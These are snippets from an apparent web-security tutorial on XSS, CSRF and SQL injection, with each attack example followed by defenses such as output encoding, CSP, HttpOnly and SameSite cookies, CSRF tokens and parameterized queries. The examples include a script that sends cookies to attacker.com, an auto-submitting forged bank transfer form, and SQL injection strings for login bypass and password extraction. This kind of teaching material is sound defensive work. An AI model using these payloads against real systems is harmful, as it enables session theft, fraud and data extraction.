// Attacker submits comment containing:
<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

// When other users view the page, their cookies are stolen
// → Account hijack

// Vulnerable code
document.getElementById('name').innerHTML = location.hash.slice(1);
// URL: https://site.com/#<img src=x onerror=alert(1)>
// → Script executes in browser

// Safe version
document.getElementById('name').textContent = location.hash.slice(1);
// textContent encodes HTML entities — no script execution

// 1. Output encoding — always encode before inserting into HTML
element.textContent = userInput;        // Safe: text content
element.setAttribute('value', input);   // Safe: attribute
// NEVER: element.innerHTML = userInput

// 2. Content Security Policy (CSP)
// Blocks inline scripts and restricts sources
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com

// 3. HTTPOnly cookies — prevents script from reading cookies
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict

// 4. Input validation + sanitization (defense in depth)
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(userHtmlInput);   // safe HTML

1. Victim logs into bank.com → receives session cookie
2. Victim visits attacker.com (while still logged in)
3. attacker.com contains hidden form or img tag:
   <form action="https://bank.com/transfer" method="POST">
     <input name="to" value="attacker_account">
     <input name="amount" value="10000">
   </form>
   <script>document.forms[0].submit()</script>
4. Browser auto-sends POST with victim's bank cookie
5. Bank processes transfer — trusts the cookie

# 1. CSRF Token — unique per session, included in all forms
# Flask example with Flask-WTF
from flask_wtf import FlaskForm
from wtforms import StringField

class TransferForm(FlaskForm):
    amount = StringField('Amount')

# Template: {{ form.hidden_tag() }} generates CSRF token
# Flask-WTF validates it on POST automatically

// 2. SameSite Cookie attribute — primary defense in modern browsers
Set-Cookie: session=abc123; SameSite=Strict; Secure; HttpOnly
// Strict: cookie not sent on cross-site requests at all
// Lax: sent on top-level navigation, not on POST from other sites

// 3. Checking Origin/Referer headers
if (req.headers.origin !== 'https://mysite.com') {
  return res.status(403).json({ error: 'CSRF detected' });
}

// 4. Double Submit Cookie pattern
// Server sets random token as cookie AND expects it in request body/header
// Attacker can't read the cookie (same-origin policy), can't forge the header

-- Login bypass
-- Input: email: ' OR '1'='1' --   password: anything
SELECT * FROM users WHERE email = '' OR '1'='1' --' AND password='...'
-- '1'='1' is always true → returns all users → logs in as first user

-- UNION injection
-- Input: 1' UNION SELECT username, password FROM users --
SELECT name, price FROM products WHERE id = '1' UNION SELECT username, password FROM users --'
-- Extracts usernames and password hashes

-- Time-based blind injection
-- Input: 1' AND SLEEP(5) --
-- If page loads slowly: confirms SQLi and database is MySQL

# 1. Parameterized queries — ALWAYS
import sqlite3

# VULNERABLE
cursor.execute(f"SELECT * FROM users WHERE email = '{email}'")

# SAFE — parameterized
cursor.execute("SELECT * FROM users WHERE email = ?", (email,))

# Python with psycopg2 (PostgreSQL)
cursor.execute("SELECT * FROM users WHERE email = %s", (email,))

# 2. ORM (parameterizes automatically)
from sqlalchemy.orm import Session
user = session.query(User).filter(User.email == email).first()

# 3. Stored procedures (with parameterized input)
cursor.callproc('GetUser', (email,))

# 4. Input validation (defense in depth)
import re
if not re.match(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$', email):
    raise ValueError("Invalid email format")